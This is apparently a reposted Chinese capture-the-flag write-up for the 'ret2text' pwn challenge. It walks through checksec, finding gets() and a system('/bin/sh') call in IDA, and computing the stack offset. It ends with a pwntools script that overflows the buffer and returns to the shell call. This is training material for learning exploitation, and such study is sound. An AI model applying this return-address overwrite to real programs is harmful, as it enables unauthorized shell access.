本文共 649 字,大约阅读时间需要 2 分钟。
ret2text
首先我们打开题目,checksec一下,主要是查看一下该程序是多少位的,并了解其保护机制

32位的小端位程序,没有开启canary堆栈保护及NX,于是我们用32位ida打开

我们打开ida-32,看到源码,发现了一个get函数,这属于我们常说的危险函数
在函数框,我们找到了一个secure函数,调出来,发现有一个system("/bin/sh")函数

这个时候,我们只需要知道调用system函数的指令的地址,然后当get函数执行时我们把get函数的ret上准备ret的地址换成调用system函数的指令的地址就行了,往上一翻,找到了call system的地址

要想知道get的ret地址,我们得分析这个get函数的堆栈
下断点在此处call _gets处

执行后看到esp是0xffffd0e0 FFFFD0FC
ebp是0xffffd168


这里,由于它是esp寻址,所以S对于esp的偏移是+1ch,算出esp的值FFFFD0FC,用FFFFD168-FFFFD0FC可以算出ebp的偏移,为6c
构建exp
#!/usr/bin/env pythonfrom pwn import *sh = process('./ret2text')target = 0x804863ash.sendline('A' * (0x6c+4) + p32(target))sh.interactive()
这里S对ebp是6c,但根据栈堆结构,还要加一个4
这是我原文章的图。。。链接:
转载地址:http://xjjyk.baihongyu.com/